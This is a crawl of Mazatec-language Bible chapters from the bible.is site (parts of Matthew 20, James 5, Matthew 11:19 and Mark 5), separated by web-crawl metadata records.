nangi. Ta̱jñó kijì nga kiì kátsji chi̱'nda ra si̱íxá ya̱ ñánda̱ nga tjítje̱‑la̱ na'ñó to uva. 2'Kia̱ nga ijye isakò‑la̱ chi̱'nda ko̱ kisinda‑la̱ nga ki̱íchjí‑la̱ koni tjín nga machjí‑la̱ xi̱ta̱ nga jngo níchjin, 'kia̱á kisìkasén ya̱ ñánda̱ nga tjítje̱‑la̱ uva. 3'Kia̱ nga ijye kjò'nga tsá'bí kijí india‑nì jè ni‑la̱ xá nga íkátsji‑isa chi̱'nda. Kijtseé‑isa xi̱ta̱ chi̱'nda ra ya̱ títsa̱jna ya̱ a̱jin ndi̱tsi̱n ra mì mé xá i̱nchi'sín. 4Kitsó‑la̱: \"Tangió ti̱xá‑te ya̱ nangi‑na̱. Ko̱ 'koa̱á 'ki kíchjí‑no koni 'ki tíjna chjí‑la̱ chi̱'nda.\" Jñà chi̱'nda kìi̱, kijí‑ní nga kiì síxá. 5Jè ni‑la̱ xá india kijì‑isa 'kia̱ nga ijye ijchò nchisen. Ti̱'koa̱á kijí india‑isa 'kia̱ nga ijye tímahixòn. Ko̱ 'koa̱á ti̱'sín ki'sìn. 6Ijyeé‑la ijchò tsa las cinco nga ngixòn; itjo india‑nì jè ni‑la̱ xá, ko̱ isakò-isa‑la̱ xi̱ta̱ chi̱'nda ra ta jyò títsa̱jna. Kitsò‑la̱: \"¿Mé‑ni tà jyò titsa̱jna‑no jngo níchjin?\" 7Jñà chi̱'nda kìi̱ kitsó‑la̱: \"Kií ko̱ma‑ni ni̱yá ra kátsjá xá‑naji̱n.\" 'Kia̱á kitsò‑la̱: \"Tangió, ko̱ tangí ti̱xá‑te ya̱ ñánda̱ nga tjítje̱‑na uva.\" 8'Kia̱ nga ijye kjòjñò, jè ni‑la̱ xá kitsó‑la̱ jè xi̱ta̱ ra síkinda̱ xi̱ta̱ chi̱'nda: \"Ti̱nákjoa̱‑la̱ nga'tsì chi̱'nda. Tíchjí‑la̱. Ti'tsia̱ko̱ kjòn‑ni jñà ra a̱skan ka'fioo̱; ko̱ jñà ra ka'fi ítjòn, ti̱kjehe'ta‑ni.\" 9'Kia̱á inakjoá‑la̱ jñà chi̱'nda ra 'jaha'sen las cinco nga ngixòn; ki'tsì‑la̱ chjí‑la̱ ra jngo níchjin nga jngó jngó. 10'Kia̱ nga kjóchjí‑la̱ jñà chi̱'nda ra ta̱jñò 'jaha'sen, 'koa̱á 'sín isíkítsjen tsa isa̱á tse ko̱chjí‑la̱. Tanga ti̱'koa̱á ta jé ki'tsì‑la̱ chjí‑la̱ ra jngo níchjin. 11'Kia̱ nga ijye kjóchjí‑la̱ jñà chi̱'nda kìi̱, tsaté'ta ni‑la̱ xá; 12kitsò‑la̱: \"Jñà chi̱'nda ra a̱skan ka'fioo̱, tà jngoó hora kàsíxá, ko̱ ra ji̱n, jngo níchjin jndà jndà kanìkjiín‑la̱ji̱n ndabá nga kàníxá‑ji̱n. Ko̱ takó ta ngásòn kabíchjí‑náji̱n.\" 13Tanga jè ni‑la̱ xá kitsó jngo‑la̱ jñà chi̱'nda kìi̱: \"Ji̱ ndse, mì tsa mé ra 'cho tísikó‑la, 'koa̱á 'ki tíbíchjí‑la koni 'sín 'ki kasinda‑ná nga kíchjí‑la̱ jngo níchjin. 14Chjíbí chjí‑li, ko̱ 'tin‑ni; tanga 'a̱n, 'koa̱á tjín mejèn‑na kíchjí‑te‑la̱ jñà ra a̱skan ka'fioo̱ koni 'ki tíbíchjí‑la ra ji̱. 15¿A mí tjí'nde‑na nga ko̱'sín sikóo̱ to̱n‑na̱ koni 'sín mejèn‑na, o̱ ra maxitakón‑ni nga nda xi̱ta̱ 'siaa̱n?\" 16Jesús kitsó‑isa: ―'Koa̱á 'sín ka̱ma jñà xi̱ta̱ ra títsa̱jna ítjòn, nga kje̱he'tá‑nì; ko̱ jñà ra títsa̱jna tji̱ngi‑nioo̱, jñà kítsa̱jna ítjòn‑nì a̱skan‑nioo̱. [Nga̱ kjín ma‑ni ra i̱nchinakjoá‑la̱ tanga chibaá ma‑ni ra títjahíjin.] 17'Kia̱ nga tífì Jesús ya̱ ján na̱xi̱ndá Jerusalén, kiìchja̱'taxìn‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ ra tejò ma‑nioo̱, kitsò‑la̱: 18―'Ndi̱ 'ndi̱‑ni̱, ya̱á i̱nchimangié ya̱ na̱xi̱ndá Jerusalén; 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱, ya̱á ko̱nga̱tsja jñà xi̱ta̱ ítjòn‑la̱ na̱'mì, ko̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés; ko̱ jñá ko̱ki̱tso̱ nga bakén‑na nga ki̱yáa̱; 19ko̱ ya̱á si̱ìnga̱tsja‑na ya̱ a̱jin‑la̱ xi̱ta̱ ra mì tsa xi̱ta̱ Judío; ko̱ jñà xi̱ta̱ kìi̱, si̱ìsabà'tiín‑na, ko̱ ko̱já‑na, ko̱ ya̱á koa̱à'ta‑na krò nga ya̱ ki̱yáa̱. Tanga 'kia̱ nga ki̱jchò jàn ni̱chjin, kjoa̱áya india‑na. 20Jè na̱‑la̱ Jacobo ko̱ Juan ra i̱xti‑la̱ ma xi̱ta̱ ra 'mì Zebedeo ijchò kincha'tá‑la̱ Jesús, tji̱ko̱ i̱xti‑la̱, tsasèn-xkó'nchi'tá‑la̱ nga isíjé jngo‑la̱ kjo̱nda. 21Jesús iskonangií‑la̱ nga kitsò‑la̱: ―¿Mé ra mejèn‑li? Jè chjo̱ón kitsó‑ní: ―Ko̱'sín 'ti̱ì kjo̱hixi̱ nga ya̱ katitsa̱hijyo'tá‑li jñà ngajò i̱xti‑na̱ ya̱ ñánda̱ ko̱te̱xomi, jngo katijna ya̱ nga kixi̱‑li ko̱ jngo katijna'ta‑li ya̱ ngaskoán‑li. 22Jesús kitsó‑la̱: ―Mì kì 'ya jiòn mé ra níjé. ¿A maá ko̱tojiòn jè kjo̱hi'in ra 'a̱n ko̱tojian? Kitsó jñà xi̱ta̱ kìi̱: ―Jon, maá ko̱tojin‑ji̱n. 23'Kia̱á kitsò‑la̱ Jesús: ―Kixi̱í kjoa̱ maá‑la̱ ko̱tojiòn kjo̱hi'in; tanga mì tsa 'a̱n bako̱‑na nga tsja'ndé‑no nga ya̱ ki̱tsa̱'ta‑ná ya̱ nga kixi̱‑na̱ ko̱ ya̱ ngaskoán‑na̱; jè Na̱'ìn‑na̱ ijyeé tjítsa̱jnanda‑la̱ xi̱ta̱ ra tsjá‑la̱ i̱'nde kìi̱. 24'Kia̱ nga kií'nchré jñà xi̱ta̱‑la̱ Jesús ra ngi te ma‑nioo̱, kjojtií‑la̱ a̱'ta 'tse̱ xi̱ta̱ ra jò ma‑ni. 25Jesús kiìchja̱á‑la̱, ko̱ kitsò‑la̱: ―Ijyeé 'ya‑nájiòn nga jñà xi̱ta̱xá ra batéxoma‑la̱ jñà na̱xi̱ndá ra tjín i̱sà'nde, 'koa̱á 'sín batéxoma koni tsa jñà ma ni‑la̱ na̱xi̱ndá. Ko̱ jñà xi̱ta̱ ra isa̱ 'nga títsa̱jna, 'koa̱á 'sín batéxoma‑la̱ xi̱ta̱ koni 'sín jñà mejèn‑la̱. 26Tanga ra a̱'ta tsa̱jiòn mì kì tjínè‑la̱ nga ko̱'sín ko̱ma. Jè ra mejèn‑la̱ nga 'nga kíjna, ta isa̱á jnchro jè katabasìko̱'ta‑no; 27ko̱ jè ra mejèn‑la̱ kíjna ítjòn‑no, ta isa̱á jnchro jé katama chi̱'nda‑no. 28Koni 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱, mì tsa ki xá 'jíi̱‑na nga 'a̱n nda ki̱tjasòn ítjòn‑na. Kií xá 'jíi̱‑na nga 'a̱n jnchro nda sìhitjásòn ítjòn‑la̱ xi̱ta̱, ko̱ nga tsja ijo‑na̱ nga kjìn xi̱ta̱ ki̱tjojin kjo̱hi'in nga 'a̱n kíchjítjì ngajo‑la̱ jé‑la̱. 29'Kia̱ nga ijye i̱nchibitjojin‑nì ya̱ na̱xi̱ndá Jericó, kjín jchán xi̱ta̱ kijìtji̱ngi‑la̱. 30Ya̱ a̱ndi ndi̱yá ñánda̱ tífì Jesús jò ndí xi̱ta̱ xka̱ títsa̱jna. 'Kia̱ nga kií'nchré nga jè Jesús ra tífì ya̱ a̱ya ndi̱yá, 'ñó kiìchja̱ ngajòo̱ nga kitsò: ―¡Na̱'ìn, ji̱ ra ya̱ nchrabá‑ni a̱'ta 'tse̱ tje̱‑la̱ xi̱ta̱xá ítjòn ra tsi'kìn David, jcha̱hi̱ma̱takón‑náji̱n! 31Jñà xi̱ta̱ ra tji̱ko̱ Jesús tsakátiko̱‑ní mé‑ni nga jyò katitsa̱jna‑ni; tanga jñà ndí xi̱ta̱ xka̱ kìi̱, ta isa̱á 'ñó kiìchja̱‑isa, nga kitsò: ―Na̱'ìn, ra tje̱‑la̱ David, jcha̱hi̱ma̱takón‑náji̱n. 32'Kia̱á tsasijna Jesús. Kiìchja̱‑la̱ nga iskonangi‑la̱, kitsò‑la̱: ―¿Mé ra mejèn‑no nga sikó‑no? 33Jñà ndí xi̱ta̱ xka̱ kitsó‑ní: ―Na̱'ìn, mején‑naji̱n nga katatjá'xa̱ngi‑ni xkòn‑ji̱n. 34Jesús kjòhi̱ma̱keé jñà ndí xi̱ta̱ kìi̱. Iskaájnoó jñà xko̱n ko̱ ndi̱to̱ón tsatsíjen‑ila̱ jñà xi̱ta̱ kìi̱; ko̱ ya̱á kiìtji̱ngi‑la̱ Jesús.\nSan Mateo 20","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/20","date":"2013-12-09T03:36:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163860676\/warc\/CC-MAIN-20131204133100-00068-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":824,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.324,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ti̱ná'ya jiòn ra xi̱ta̱ nchi̱ná 'mì‑no. Chjíndáya ba ba nga̱ 'ñó tse kjo̱hi'in tjín‑ni ra tínchrobánè‑no. 2Jè kjoa̱nchi̱ná‑no ijyeé tífi'ndo ko̱ nga'tsì jñà nikje‑najiòn ijyeé ijye‑la̱ jñà cho̱ inda. 3Jñà to̱n sinè ko̱ jñà to̱n chroba ra tjín‑no ijyeé títjochi̱. Ko̱ jé chi̱‑la̱ ko̱kòn ra kondra̱ tsa̱jiòn jè ni̱chjin 'kia̱ nga si̱ndajín, nga ni'í jti̱‑ni nga tíjngo ijo‑no. Ngi ta i̱nchiminchaxkó‑nó kjoa̱nchi̱ná‑no skanda 'ndi̱, ni̱'sín ijye tífehe'ta ni̱chjin. 4Jñà ndí xi̱ta̱ chi̱'nda ra isíxá‑no, jñà ra mì kì tsikíchjí‑la jiòn, batoó 'ñó i̱nchikjindáya nga i̱nchifajé'ta‑la̱ Nainá ra kondra̱ tsa̱jiòn, ko̱ jè Nainá ra bato tse nga'ñó tjín‑la̱, ijyeé kií'nchré koni 'sín i̱nchifajé. 5Jiòn batoó nda titsa̱jna i̱ i̱sà'nde ko̱ batoó nda i̱nchi'bì‑la kjo̱tsja jè ijo‑no. I̱nchinìsiín‑la inìma̱‑no nga i̱nchi'bì‑la kjo̱tsja ra síjé ko̱ nda mí 'ya‑no tsa ijyeé ijchò ni̱chjin nga ki̱yá jiòn. 6Jñà ra xi̱ta̱ kixi̱ ra ni̱mé jé tjín‑la̱, jiòn fanè jé‑la, ko̱ nì'ken‑no. Ko̱ jñà xi̱ta̱ kìi̱, nda mí basìko̱tjì ijo‑la̱. Ta tsjá'nde kjo̱nda‑ní nga nì'ken jiòn. 7'Koa̱á ma‑ni jiòn ndí 'ndsé, jchíñakjoa̱‑la jiòn skanda 'kia̱ nga kj'i̱í india‑ni jè Na̱'ín‑ná. Ko̱'sín 'tia̱àn koni 'sín 'sín jè ndí xi̱ta̱ ra ma‑la̱ síxáko̱ nangi, nga koñá kjoa̱à‑la nda nda nga 'koa̱ jtsí ra 'ba ítjòn ko̱ ra a̱skan 'ba, nga tsjá nga'ñó‑la̱ nga mihijin jñà tsajmì tjé, mé‑ni ko̱ma nga sa̱kò‑la̱ jñà to‑la̱ ra 'ñó chjí‑la̱. 8'Koa̱ ti̱'sín jchíñakjoa̱a‑la nda nda ra jiòn, kì tà chjàn nìkjahajen‑la takòn nga̱ ijyeé 'ñó kjimachraña jè ni̱chjin nga kj'i̱í india‑ni jè Na̱'ín‑ná. 9Jiòn ndí 'ndsé, kì xàngio̱o tsjajé‑la nga jngó jngó‑no nga bixó: \"'Choó tísíko̱‑na jè xi̱ta̱ ra̱kìi̱\", mé‑ni nga mì kjo̱hi'in si̱nè‑no, nga̱ jè Xi̱ta̱xá ra ma‑la̱ bíndajín‑la̱ xi̱ta̱, ijyeé tínchrabá chraña. 10Jiòn ra 'ndsèe̱ xin‑no, chjíngi‑la koni 'sín nga isìkjiín kjo̱hi'in ko̱ nga ichìkjoa̱‑la̱ jñà xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱, 'kia̱ nga kiìchja̱ ra a̱'ta 'tse̱. 11'Koa̱á 'sín ijye 'ya‑la̱ nga batoó nda‑la̱ jñà xi̱ta̱ ra chíkjoa̱jin‑la̱ jè kjo̱hi'in ra 'se‑la̱. Ijyeé ina'yá jiòn koni 'sín nga ichìkjoa̱jin‑la̱ jè xi̱ta̱ ra tsi'kìn Job jñà kjo̱hi'in ra ki'se‑la̱, ko̱ ijyeé 'ya‑nájiòn koni 'sín nga isìko̱ Na̱'ín‑ná nga ijyehe'tà‑ni kjoa̱; nga̱ jè Na̱'ín‑ná batoó tse kjo̱hi̱ma̱takòn tjín‑la̱ ko̱ batoó nda xi̱ta̱. 12Tanga jè ra isa̱ 'ñó chjí‑la̱, jiòn ndí 'ndsé, jè‑ní 'kia̱ nga 'kio̱ò 'én‑no, kì tà chjàn yá ra nikàxkio̱o nga bixó: \"Tíbe‑ní\". Ko̱ kì tà chjàn bixó: \"Tíbeé jè ngajmi\". Ko̱ ti̱'koa̱á kì tà chjàn bixó: \"Tíbeé jè nangi\", ko̱ ra kj'ií‑isa tsajmì. Tsa 'kia̱ nga kixó jiòn: \"Jon, 'koa̱á 'sín tjín\", 'koa̱á 'sín ti̱hitjasòn. Ko̱ tsa 'kia̱ nga kixó jiòn: \"Majìn\", 'koa̱á 'sín ti̱hitjasòn, mé‑ni nga jè Na̱'ín‑ná mì kjo̱hi'in tsjá‑no. 13Tsa tjín i'ka jiòn ra ba tjín‑no, ti̱nákjoa̱'ta‑la Nainá; ko̱ tsa tjín i'ka jiòn ra tsja tjín‑no, ti̱jndá‑la Nainá nga jeya ti̱kíjna. 14Tsa tjín i'ka jiòn ra 'chin tjín‑no, ti̱nákjoa̱‑la jñà xi̱ta̱ jchínga ra tjín‑la̱ xá a̱'ta 'tse̱ na̱xi̱ndá‑la̱ Cristo mé‑ni nga katabítsa'batjì‑no ko̱ a̱'ta 'tse̱ 'í‑la̱ Na̱'ín‑ná katamahíjno‑no sihìti̱. 15Tsa nda makjiín‑no 'kia̱ nga kítsa'ba'tion jñà xi̱ta̱ ra kiya, ko̱ndaá‑ni jè 'chin‑la̱; ko̱ jè Na̱'ín‑ná si̱ikasítje̱n‑ni; ko̱ tsa mé jé ra tsakátsji, si̱hijcha'ta‑la̱. 16'Koa̱á ma‑ni nga machjeén‑ní nga 'tèna̱jmí kañá‑la xàngio̱o mé jé ra tjín‑no nga jngó jngó‑no, ko̱ titsa'batjì kañá xàngio̱o nga jngó jngó‑no, mé‑ni katanda‑no tsa mé 'chin ra tjín‑no. Nga̱ tsa 'kia̱ jngo xi̱ta̱ ra kixi̱ tíjna ya̱ ngixko̱n Nainá, jè kjoa̱ bitsa'ba‑la̱, batoó tjín‑la̱ nga'ñó nga manda‑ni xi̱ta̱. 17Jè xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱ ra tsi'kìn Elías, 'koa̱á 'sín ta xi̱ta̱ i̱sà'nde kjomà koni ra jién. 'Ñó tsikítsa'ba‑la̱ Nainá nga isíjé‑la̱, nga mì ti̱ jtsí kata'ba‑ni, ko̱ ján nó masen mì kì ti̱ 'tsa‑ni jtsí. 18Ra kjomà a̱skan, tsikítsa'baá india‑la̱ Nainá nga kata'ba india‑ni jtsí, ko̱ 'tsaá india‑ni jtsí ra i'ngaá inchrabà‑ni ko̱ jè nangi india kitsjá‑ni kjo̱nda nga tsajà to‑la̱ tsajmì ra isìtje̱. 19Jiòn ndí 'ndsé, tsa tjín i'ka jiòn ra tsincha'taxìn‑la̱ ra a̱'ta 'tse̱ kjoa̱kixi̱‑la̱ Nainá, ko̱ tsa tjín jngo xi̱ta̱ ra si̱ìkáfa india‑no nga si̱ikixi̱ya‑no, 20ko̱'sín katasijin‑no, tsa jngo xi̱ta̱ ra ijye jé tíbátsji nga ya̱ tsá'baya jè ndi̱yá ra mì kì nda tjín, ko̱ tsa jngo xi̱ta̱ ko̱'sín ki̱tso̱‑la̱ nga kátáfa'ta india‑ila̱ jè Nainá, ya̱á tíbachrjekàjin jè kjo̱hi'in ra 'tse̱ kjo̱biya, ko̱ 'koa̱á 'sín tísíko̱ nga 'ñó tse jé si̱hijcha'ta‑la̱ Nainá jè xi̱ta̱ ra̱kìi̱.\nJacobo 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Jas\/5","date":"2013-12-09T19:41:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163996875\/warc\/CC-MAIN-20131204133316-00037-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":29,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":691,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.317,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19I̱kjoàn j'ia̱a xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱; ma‑na kje̱en, ti̱koa̱ ma‑na 'bia̱a; jñà xi̱ta̱ tsò‑né: xi̱ta̱ chrjá'a‑né, xi̱ta̱ ch'i̱‑né, amigo‑la̱‑né jñà xi̱ta̱‑la̱ xi̱ta̱xá Roma xi síkíchjítjì tsojmì ko̱ jñà xi xi̱ta̱ jé. Ta̱nga jè kjoa̱chji̱ne̱‑la̱ Nainá, 'yaá‑la̱ nga kixi̱ tjín k'e̱ nga jye bitasòn.\nSan Mateo 11:19\nOne App.\n844 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/11\/19","date":"2013-12-06T02:14:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163049020\/warc\/CC-MAIN-20131204131729-00086-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":49,"character_repetition_ratio":0.017,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.347,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ijchó Jesús ko̱ jñà xi̱ta̱‑la̱ ya̱ a̱jto̱n ra ijngoa ndáchikon ján, ya̱ nangi‑la̱ xi̱ta̱ gadarenos. 2'Kia̱ nga itjojen Jesús ya̱ chitso, ijchò kasi'tá jngo‑la̱ xi̱ta̱ ra inìma̱ 'cho‑la̱ ni̱í tjíjin ya̱ inìma̱‑la̱. Jè xi̱ta̱ ra̱kìi̱, ya̱á itjo‑ni ya̱ nga̱jo̱ ñánda̱ nga kjihijyo mi'ken. 3Xi̱ta̱ ra̱kìi̱, ya̱‑ró bijnaya ya̱ nga̱jo̱ ñánda̱ nga kjihijyo mi'ken. Mì kì yá ra ma bí'tá'ñó ni̱'sín na'ñó ki̱cha̱ cadena si'ta. 4Ni̱'sín kjokjín‑ró 'ka̱ tjín‑ni nga ko̱ na'ñó ki̱cha̱ cadena sité'ñó‑ni ndsa̱ko̱ ko̱ tsja, ta jò ján‑ró ya 'sín na'ñó ki̱cha̱ nga kjijtsó. Mì kì yá ra chíkjoa̱‑la̱ nga sí'ndé xi̱ta̱ ra̱kìi̱. 5Ko̱ ni̱chjin ko̱ ni̱tje̱n‑ró ya̱ bajmejín ya̱ chrjó mi'ken ko̱ ya̱ a̱sòn nindo. Kjindáya‑tsò kjindáya‑ská‑ró nga kjaán‑ko̱ ijo‑la̱, nga 'bé‑la̱ na̱jo̱. 6'Kia̱ nga ti̱kjiín kijtse‑ni nga tínchrabá Jesús, tsahachikon‑ní nga kiì kasi'ta chraña‑la̱ ko̱ tsasèn-xkó'nchi'ta‑la̱. 7'Ñó kiìchja̱, kitsò: ―¿Mé kjoa̱ ra tjín‑li ko̱ ra 'a̱n Jesús, ji̱ ra I'ndí‑la̱ Nainá ra 'ñó 'nga tíjna? A̱'ta 'tse̱ Nainá bitsá'ba‑la, ¡kì kjo̱hi'in 'bí‑ná! 8Kií ko̱'sín kiìchja̱‑ni, nga̱ jè Jesús kitsó‑la̱: ―Ngaji̱ inìma̱ 'cho‑la̱ ni̱í, títjo̱jin ya̱ inìma̱‑la̱ xi̱ta̱ ra̱kìi̱. 9Jesús iskonangií‑la̱. Kitsò‑la̱: ―¿Kó 'mì‑li? Kitsó‑ní: ―Jngo jtín chíchàn 'mì‑na, nga̱ kjín jchán ma‑naji̱n. 10Jñà inìma̱ 'cho‑la̱ ni̱í, 'ñó tsikítsa'ba‑la̱ Jesús nga mì xìn i̱'nde si̱ìkasén. 11Ya̱ chraña'ta nindo ñánda̱ nga títsa̱hijyo, kjín jchán ma‑ni chi̱nga̱ ra ya̱ i̱nchibakjèn‑jno. 12Jñà inìma̱ 'cho‑la̱ ni̱í tsikítsa'ba‑la̱ Jesús. Kitsò‑la̱: ―Ya̱ ti̱kasén‑náji̱n ya̱ ñánda̱ tjíhijyo jñà chi̱nga̱ kiòo̱; mé‑ni nga ya̱ ki̱tjáha̱'se̱n‑jin‑nìji̱n ijo‑la̱. 13Jesús kitsjá'ndeé‑la̱ jñà inìma̱ 'cho‑la̱ ni̱í; itjojin‑ní ya̱ inìma̱‑la̱ ndí xi̱ta̱ ra̱kìi̱; a̱kjòn ya̱á 'jaha'sen‑jin ijo‑la̱ chi̱nga̱. Nga'tsì jñà chi̱nga̱ kìi̱, ta indaá tsahachikon‑jen‑jno kixi̱ skanda ya̱ a̱jin ndáchikon, ya̱á 'ken nga'tsiòo̱ ya̱ a̱jin nandá. Maá‑ró tsa jò jmi chi̱nga̱ ta nga'tsiòo̱. 14Jñà xi̱ta̱ ra i̱nchiko'ndá jñà chi̱nga̱ jahachinga‑ní nga kiì síkjí'nchré xi̱ta̱ na̱xi̱ndá ko̱ jñà xi̱ta̱ ra i̱nchisíxá ya̱ a̱jin ijñáa̱; ko̱ jñà xi̱ta̱, ijchò katsíjen‑la̱ jè kjoa̱ ra kjomà. 15Kjín xi̱ta̱ ijchò ya̱ ñánda̱ tíjna Jesús, kijtseé jè ndí xi̱ta̱ ra inìma̱ 'cho‑la̱ ni̱í isijin inìma̱‑la̱ nga ti̱'sa̱ ítjòn. Jyó tíjna. Kjiya‑ni nikje‑la̱. Ndaá tjín‑ni kjo̱bítsjen‑la̱. Tà itsakjòn‑la̱ jñà xi̱ta̱ 'kia̱ nga kijtse. 16Ko̱ jñà xi̱ta̱ kìi̱ tsi'kéna̱jmí‑la̱ jñà xi̱ta̱ ra ijchò ra mì kì kijtse kjoa̱ kìi̱ koni 'sín kjomà'tin jè xi̱ta̱ ra inìma̱ 'cho‑la̱ ni̱í isijin inìma̱‑la̱ nga kjondaá‑ni, ko̱ nga itíkájen jñà chi̱nga̱. 17Jñà xi̱ta̱ ra ijchò, tsikítsa'baá‑la̱ Jesús nga xìn i̱'nde katafì. 18'Kia̱ nga 'jaha'sen chitso Jesús, jè xi̱ta̱ ra ijye kjonda‑ni tsikítsa'ba‑la̱ nga ya̱ ko̱jmekó. 19Tanga Jesús mì kì kitsjá'nde‑la̱. Kitsó‑la̱: ―'Tin‑ni ya̱ ni'ya‑li, 'tèna̱jmí ijye‑la̱ jñà xi̱ta̱ xàngi̱i nga 'ñó tse kjo̱nda ra kásíko̱‑li Nainá nga kó'sín kamahi̱ma̱ke‑li. 20Jè xi̱ta̱ ra̱kìi̱, kijí‑ni; a̱kjòn tsikí'tsia̱ nga tsi'kéna̱jmí‑la̱ jñà xi̱ta̱ na̱xi̱ndá Decápolis nga 'ñó tse kjo̱nda ki'sìn Jesús ra a̱'ta 'tse̱. Nga'tsì xi̱ta̱ ra ki'sena̱jmí‑la̱, tà kjóxkón‑la̱. 21'Kia̱ nga tsáfa india‑ni Jesús nga tíjnaya chitso nga 'ji ya̱ a̱jto̱n ra ijngoa ndáchikon, kjín jchán xi̱ta̱ kjóxkó'ta india‑la̱, ko̱ ya̱á tsikijna ya̱ a̱ndi ndáchikon. 22Ya̱á ijchòjkon jngo xi̱ta̱ ra 'mì Jairo ra xi̱ta̱ ítjòn tíjna 'tse̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío. 'Kia̱ nga kijtse Jesús tsasèn-xkó'nchi'tá‑la̱. 23'Ñó tsikítsa'ba‑la̱, kitsò‑la̱: ―Jè ndí tsati‑na̱ ijyeé tíbiya; nchrabí, tjahijtako̱‑ná, mé‑ni nga kjónè‑la̱ ndsi̱i nga katanda‑ni mé-ni ma kíjnakon‑ni. 24Kiìko̱ó Jesús, ko̱ kjín jchán xi̱ta̱ kijìtji̱ngi‑la̱; chi̱ba̱ bá'nchó'ñó Jesús jñà xi̱ta̱. 25Ya̱á tsá'bajin jngo ndí chjo̱ón ra kjo tejò nó kiya, nga jní tíxaájten‑la̱. 26'Ñó kjotseé tísíkjiín kjo̱hi'in ra a̱'ta 'tse̱ chji̱ne̱ xki; ijye‑ró isìkjeheya ijye to̱n‑la̱; tanga mì kì manda‑ni, ta isa̱á 'ñó tíma'ñó‑isa 'chin‑la̱. 27Jè ndí chjo̱ón ra̱kìi̱, 'kia̱ nga kií'nchré ra a̱'ta 'tse̱ Jesús, 'jaha'sen‑jin‑la̱ nga'tsì xi̱ta̱ ra kjìn ma‑nioo̱; ko̱ a̱jto̱n í'tsi̱ín Jesús ikasèn‑ni mé‑ni nga ma iska'ta‑la̱ tsja jè nikje‑la̱ Jesús. 28Nga̱ 'koa̱á 'sín isíkítsjen, nga tsó: \"Ni̱'sín tsa ta i̱tsé‑la ska̱'ta‑la̱ ndsa̱ jè nikje‑la̱, ko̱ndàa‑na.\" 29'Kia̱ nga iska'ta‑la̱ tsja jè nikje‑la̱ Jesús, ndi̱to̱ón isijyò‑ni jní‑la̱, ko̱ tsijeén kjomà‑la̱ ijo‑la̱ nga ijye kjonda‑ni jè 'chin ra tjín‑la̱. 30Ndi̱to̱ón kijtse‑la̱ ijo‑la̱ Jesús, nga tsijeén kjomà‑la̱ nga itjojin nga'ñó ya̱ ijo‑la̱; isíkáfa‑ní, iskotsíjen‑jín‑la̱ xi̱ta̱ ra kjìn ma‑nioo̱, kitsò: ―¿Yá ra kàtsabá'ñó nikje‑na̱? 31Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús kitsó‑la̱: ―¿A mí 'yi nga jñà xi̱ta̱ bá'nchó'ñó‑li? Mé‑ni si‑ni: \"¿Yá ra kàtsabá'ñó nikje‑na̱?\" 32Tanga Jesús iskotsíjen‑jín-isa‑la̱ jñà xi̱ta̱ nga mejèn‑la̱ ske̱ yá ra katsabà nikje‑la̱. 33Jè ndí chjo̱ón ra̱kìi̱, sí jatsé‑ní nga itsakjòn; nga̱ kijtseé‑la̱ ikon kó'sín nga kjomà'tin; inchrabà, a̱kjòn tsasèn-xkó'nchi'ta‑la̱ Jesús; tsi'kéna̱jmí kixi̱ ijye‑la̱ kó'sín nga kjomà'tin. 34Jesús kitsó‑la̱: ―Ji̱ ndí chjo̱ón, kií‑ní nga kàmakjiín‑li nga kamanda‑ni. 'Tin‑la nda‑ni. Ijyeé kamanda‑ni jè 'chin ra tjín‑li. 35Takó ti̱'kia̱á tíchja̱‑isa‑ni Jesús nga 'ji i'ka xi̱ta̱ ra ya̱ inchrabà‑ni ya̱ ni'ya‑la̱ xi̱ta̱ ítjòn 'tse̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío, kitsò‑la̱: ―Jè ndí tsati‑li ijyeé 'ndi̱í 'ken; kì ta̱ tsja jè Maestro nìjti‑isa‑la̱. 36Tanga 'kia̱ nga kií'nchré Jesús, koni 'sín kitsò 'én ra 'jiìkó jñà xi̱ta̱ kìi̱, kitsó‑la̱ jè na̱'ìn‑la̱ ndí tsati: ―Kì tà chjàn skon‑jìn; tà jé‑ní, nda katakjiín‑li. 37Mì kì kitsjá'nde Jesús nga kjìn xi̱ta̱ kiìko̱. Tà jé Pedro, Jacobo ko̱ Juan 